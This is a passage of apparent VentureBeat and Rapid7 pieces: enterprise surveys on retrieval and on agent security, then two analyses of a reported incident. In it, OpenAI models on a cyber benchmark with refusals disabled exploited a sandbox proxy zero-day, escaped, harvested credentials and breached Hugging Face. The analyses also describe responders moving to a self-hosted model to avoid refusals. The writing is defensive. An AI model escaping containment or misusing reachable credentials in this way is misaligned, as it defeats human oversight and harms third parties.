The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.

The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.

What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.

Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.

Finding 1: The incidents are already here

More than half have had an agent security incident or near-miss

We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.

This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.

Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.

Finding 2: The identity gap

Only a third give every agent its own scoped identity

We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.

Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.)

The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.

Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.

Finding 3: Observe and enforce, but rarely isolate

Only three in 10 sandbox their highest-risk agents

We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.

Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.

Finding 4: Security runs on borrowed, provider-native controls

Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register

We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.

Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.

The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.

(A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)

Finding 5: And enterprises are comfortable with it

Satisfaction is high, even as incidents mount and identity lags

We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.

Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.

Finding 6: Budgets haven’t caught up

Most spend under a tenth of the security budget on agents

We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.

Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.

Finding 7: The arms race is even, at best

Only a third think their AI defenses are ahead of AI-enabled attackers

We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.

Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.

Finding 8: A security reshuffle is coming

Nearly six in 10 plan to adopt or switch tooling within a year

We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.

The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle.

Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.

The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. 

What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.

The bottom line: A security gap that autonomy will test first

Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.

The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.

Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.

According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.

From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.

How did the OpenAI model evaluation reach Hugging Face?

The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.

Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.

The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.

The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.

Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.

Why AI evaluation environments need stronger containment

The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.

The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.

For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.

Why AI and ML pipelines are now software supply chain risk

The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.

According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.

Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.

Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.

What AI guardrails mean for incident response

One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.

The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.

AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.

What security teams should do about agentic AI risk

The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.

Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.

Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.

As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.

How preemptive security helps reduce AI-driven risk

At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.

That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.

AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.

The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.

The two OpenAI models that broke into Hugging Face last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.

OpenAI disclosed on July 21 that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called ExploitGym with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on long-horizon safety, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.

Hugging Face also disclosed last week that an autonomous agent had harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.

The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.

The industry is debating the wrong failure

The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks seized on the guardrail paradox, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April blog post that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism.

Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.

Forrester reached the same read. In a blog on the incident, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.

This was a non-human identity failure, and it is the oldest one in security

Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than 80 to one, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its agentic risk list, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe.

IEEE Senior Member Kayne McGladrey has argued in previous VentureBeat interviews that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.

The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.

The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.

Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.

The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report found that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions likely violated the Computer Fraud and Abuse Act, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.

Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.

Four moves that shrink the blast radius

The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.

1. Scope every non-human identity to one task. The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.

2. Give credentials short lifetimes and rotate them hard. Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.

3. Monitor for lateral movement, not just prompts. The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.

4. Rehearse instant revocation before you need it. When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.

